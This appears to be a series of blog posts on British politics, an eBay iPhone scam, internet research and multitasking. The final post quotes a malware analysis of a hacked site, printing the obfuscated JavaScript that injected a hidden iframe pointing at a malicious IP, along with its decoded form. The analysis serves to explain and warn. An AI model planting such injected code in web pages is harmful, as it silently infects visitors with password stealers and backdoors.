Toffwatch

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I enjoyed Toff At The Top — Peter Hitchens’s Dispatches documentary about Dave ‘Vote Blue to Get Green’ Cameron. I don’t much care for Hitchens, but this time I suspect he was on the money. His basic argument was that Cameron is a shameless opportunist who doesn’t believe in anything, and certainly doesn’t believe in the Conservative values that Hitchens worships.

One interesting snippet from the film came when Hitch was retracing Cameron’s days as an undergraduate at Oxford, where he was a member of the Bullingdon Club, a rowdy upper-class dining club famous for the sound of breaking glass and immortalised as the Bollinger Club in Evelyn Waugh’s Decline and Fall. The Bullingdons dress up in Regency evening wear and Hitchens had the brilliant idea of going to Ede and Ravenscroft, the expensive Savile Row tailor which maintains an establishment in Oxford (and indeed in Cambridge also) to cater for the sartorial needs of wealthy toffs like Cameron. He inspected the Bullingdon uniform and inquired about its cost. About £3,000.

Another interesting snippet. There’s an Oxford photography firm which regularly takes photographs of the Young Bullingdons in their finery. They have a particularly fine picture of young Cameron togged out for a night’s drinking and trashing. But it turns out that the firm has withdrawn the publication rights to all its Bullingdon pics of Cameron’s era — so that they are no longer published anywhere. Can’t even find them on Google Images. I wonder how much the Tories paid for that particular favour.

Hitchens also maintained that Cameron has thirteen Old Etonians in his Shadow Cabinet. Wow! Can this be true? Talk about a vast system of out-relief for the upper classes. It’s almost enough to make one look fondly on Gordon Brown. I said almost.

Update… David Mackinder found the key photograph — it was published by the Daily Telegraph with a helpful index to the main poseurs. Nice caption too: “Cameron as leader of the Slightly Silly Party”.

One-born-every-minute Department (contd.)

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From The Inquirer…

AT LEAST 23 PEOPLE fell for a scam from a bloke who claimed to be flogging an Apple iPhone on eBay.

One person was prepared to stump up $1,125 to own an iPhone before it reaches the shops, or indeed the manufacturers.

Apple has said that it will not be releasing the phone until sometime in June, but that did not stop eBay seller rgonzales23455 telling marks that he had six of them.

Computerworld emailed Rgonzales23455 and asked him how he got his paws on six of the machines before they had been released. He didn’t reply and neither did Apple.

eBay, however, said that it pulled the listings and was warning that any such listings claiming to be selling the Apple iPhone are in violation of eBay’s pre-sale policy.

A grisly ‘first’

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From today’s edition of The Register…

Police are investigating the unexplained death of a man who appeared to commit suicide in front of an audience of webcam chatroom users.

Kevin Neil Whitrick, 42, from Wellington in Shropshire, was found at about 11.15pm on Wednesday by officers who went to his home following a report from a fellow chatroom user.

Resuscitation attempts failed, and he was pronounced dead at the scene. A post mortem was carried out on Friday morning, which confirmed the cause of death as hanging. A Coroner’s inquest will open on Monday.

Mr Whitrick was father to 12-year old twins. His ex-wife said he suffered a very serious car accident in July 2006, and had never fully recovered.

Lead investigator Detective Chief Inspector Jon Groves said: “Our enquiries to date have revealed that Mr Whitrick was using a chatroom with a number of other people at the time of his death.

“We are liaising with the internet service provider at this time to contact other users who were online at the time of this incident and who may have information that could assist our enquiries.”

ConceptShare

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Collaborative work is hard — and even harder when you have to do it online. So ConceptShare is an interesting idea — described as “Web-Based Idea and Design Sharing and Collaboration”. I can see lots of industrial applications for it.

Back to Basics

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Stanford has launched an intriguing new project — Clean Slate Design for the Internet.

We believe that the current Internet has significant deficiencies that need to be solved before it can become a unified global communication infrastructure. Further, we believe the Internet’s shortcomings will not be resolved by the conventional incremental and ‘backward-compatible’ style of academic and industrial networking research. The proposed program will focus on unconventional, bold, and long-term research that tries to break the network’s ossification. To this end, the research program can be characterized by two research questions: “With what we know today, if we were to start again with a clean slate, how would we design a global communications infrastructure?”, and “How should the Internet look in 15 years?” We will measure our success in the long-term: We intend to look back in 15 years time and see significant impact from our program.

In the spirit of past successful inter-disciplinary research programs at Stanford, the program will be driven by research projects ‘from the ground up’. Rather than build a grand infrastructure and tightly coordinated research agenda, we will create a loosely-coupled breeding ground for new ideas. Some projects will be very small, while others will involve multiple researchers; our goal is to be flexible, creating the structure and identifying and focusing funds to support the best research in clean-slate design.

The subprime mortgage racket explained

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At last! — an explanation I can understand of the biggest financial scandal since the Savings & Loan racket of the Reagan years. It’s by Steven Pearlstein of the Washington Post. In his talk at the interesting SNS Dinner in London recently, Mark Anderson went on about the subprime market at some length and I felt thoroughly abashed by my ignorance (for photograph of abashed blogger, see here!)

The downsides of ‘free’ information

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Peter Wayner gave an interesting talk at Google pointing out the downsides of the decline in print journalism and suggesting some things that might be done about it. Here’s one of his ideas:

Let me say that I’m a big believer in fair use. I think it’s very important for people to be able to quote frequently and liberally. But some blogs take this to an extreme. It’s easy to find blogs that are 80, 90, even 95 percent borrowed text. Some frequently cut huge chunks of an article and then wrap it with the thinnest amount of comment. Not surprisingly, some of these folks are big believers in “fair use”. I can think of one blog where the writers spend more time agitating for fair use than they do writing their thin, snarky wrapper around huge blocks of borrowed text.

I don’t think these sites are necessarily bad, but I think they end up taking an unfair amount of the return on the content. Many sell ads and some even support nice lifestyles without consuming too much shoe leather in gathering the content.

So why not add another term to the exponentially growing PageRank equation. Declan McCullagh suggested this during dinner last night. Why not compute the fraction of the text that’s original and the fraction that’s borrowed? This is possible to do because most bloggers are kind enough to include a link to the original text. If they don’t, it’s usually possible for a few searches of complete sentences to find the original.

Let’s call this LeechRank. If 20% of the text is borrowed, let’s do nothing to the PageRank. If 50% is borrowed, we bump them down a few notches. If 80% is borrowed, let’s send them down 20 to 30 notches. And if 100% is borrowed, as some pirates do, well, let’s just knock them straight out to the bottom of the listings, sort of a way station on their trip to the circle in hell reserved for people who steal and destroy a person’s livelihood.

This is a very thoughtful speech. It highlights the fact that while the Web and the blogosphere can easily provide much of the crap (celeb gossip, lifestyle journalism, infotainment) that takes up so much space in today’s newspapers, there’s no indication yet that it could replace the expensive investigating and reporting that responsible newspapers (and broadcasters) do. In the UK, for example, Jonathan Aitken would have gone unpunished if the Guardian hadn’t taken a very risky legal stand and contested his libel action against the paper. The same thing happened recently when Alan Rusbridger challenged a gagging injunction that the Government had clapped against reporting a development in the “cash for honours” investigation.

Who in the emerging ecosystem will do things — take risks — like that? Google? Perish the thought.

I like the idea of a LeechRank!

Thanks to Tim O’Reilly for pointing me to the piece.

Multitasking: bad idea

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Be warned! The New York Times reports that multitasking is bad for you.

Several research reports, both recently published and not yet published, provide evidence of the limits of multitasking. The findings, according to neuroscientists, psychologists and management professors, suggest that many people would be wise to curb their multitasking behavior when working in an office, studying or driving a car.

These experts have some basic advice. Check e-mail messages once an hour, at most. Listening to soothing background music while studying may improve concentration. But other distractions — most songs with lyrics, instant messaging, television shows — hamper performance. Driving while talking on a cellphone, even with a hands-free headset, is a bad idea.

In short, the answer appears to lie in managing the technology, instead of merely yielding to its incessant tug.

“Multitasking is going to slow you down, increasing the chances of mistakes,” said David E. Meyer, a cognitive scientist and director of the Brain, Cognition and Action Laboratory at the University of Michigan. “Disruptions and interruptions are a bad deal from the standpoint of our ability to process information.”

The new malware ecology

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Ethan Zuckerman has a fascinating story about how contemporary malware works.

It begins with him Googling a friend to find the URL of her home page, only to find that Google wouldn’t connect him to her site and flashed up the warning “This site may harm your computer”. It transpired that this is the result of the StopBadware campaign run by the folks at the Berkman Center; Google identifies sites that it believes are spreading malware and registers them with Stop Badware. If a site has been blacklisted, its owner has the option of proptesting and having his/her case reviewed by the Berkman people. Ethan duly protested on his friend’s behalf…

Within half an hour, three of my colleages pointed me to the source code of my friend’s page. At the top of her index page was a strange-looking piece of Javascript:

script language=”javascript”> document.write( unescape(
‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%20%68
%74%74%70%3A%2F%2F%38%31%2E%39%35%2E%31%34
%36%2E%39%38%2F%69%6E%64%65%78%2E%68%74%6D
%6C%20%66%72%61%6D%65%62%6F%72%64%65%72%3D
%22%30%22%20%77%69%64%74%68%3D%22%31%22%20
%68%65%69%67%68%74%3D%22%31%22%20%73%63%72
%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%6E%61
%6D%65%3D%63%6F%75%6E%74%65%72%3E%3C%2F%69
%66%72%61%6D%65%3E’
) );

That’s some seriously obfuscated Javascript. But if you translate from hexidecimal to ASCII, the code’s pretty clear – it inserts the following code into the top of the HTML page:

< iframe src= http://81.95.146.98/index.html frameborder="0" width="1" height="1" scrolling="no" name=counter>< /iframe>

The code opens an “iframe”, an inline frame which allows another web page to be embedded within a page – iframes are pretty useful things, especially for building interactive applications in web pages. But this frame is pretty sinister. It opens a one pixel by one pixel frame which attempts to load the webpage located at http://81.95.146.98/index.html.

That page doesn’t load on my browser – the server is apparently refusing connections, at least from my Macintosh – but it occupies an IP in a block of addresses controlled by a charming bunch of guys who do business as RBusiness Network. Google for them and you’ll mostly find lots of angry message board posts from spamfighters – the RBusiness folks operate a number of servers advertised in spam emails and are suspected of relaying large amounts of spam. Many of the RBusiness- associated webpages are in Russian, though their servers are currently in Panama City, Panama – some antispammers believe that RBusiness is short for “Russian Business Network“, which was evidently their previous operating name.

Googling for the specific IP – 81.95.146.98 – turns up a couple of pages with people documenting an interesting exploit – the Microsoft Data Access Components exploit. Basically, when you load this iframe, it runs a small script which downloads and runs a Windows executable file. That file downloads a rootkit, a password sniffer and opens a backdoor into the user’s system. (Needless to say, this only happens on Microsoft Windows systems running unpatched software… which is to say, many Windows systems.) According to Ivan Macalintal, this iframe was installing code from websites that looked fairly innocuous, including one that promised to help you write your company’s travel policy. (Remarkably, this site is the #1 match for a search for “travel policy” on Google, though Google doesn’t let you click directly to the page, stopping you with a “harm your computer” message.)

It’s possible that this is what my friend’s site was trying to install – Ivan’s report dates from October 2006. It’s also possible that it was trying to install a more recent package of malware – Trojan-PSW.Win32.Small.bs – which Avira saw linked to the 81.95.126.98 domain in early January of this year. This little nasty logs passwords entered on webpages, opens a SOCKS proxy on your machine and calls home to an RBusiness server to let the bad guys know how to take advantage of your new machine to send spams and retrieve your passwords.

So had Ethan’s friend got into bed with these Russian hoodlums? Unlikely.

Simply put, [her site] was hacked. Not content with setting up websites to spread their trojan horses, the RBusiness boys have been breaking into blog and wiki sites and installing this new iframe. In some cases, they’re able to guess default passwords; in other cases, they exploit unpatched bugs in software. I was all ready to go to Berkman yesterday with my tail between my legs and tell my colleagues that my friend’s server had been compromised. But my friends were already dealing with the fact that Google had found malicious iframes on a number of Harvard-affiliated sites, including several blogs hosted on the blogs.law.harvard.edu server! Stop Badware, yesterday at least, was stopping Berkman.

Which is deeply ironic, given what the StopBadware initiative was set up to do. But in a way, it only goes to underscore how complex and dangerous our software monoculture has become.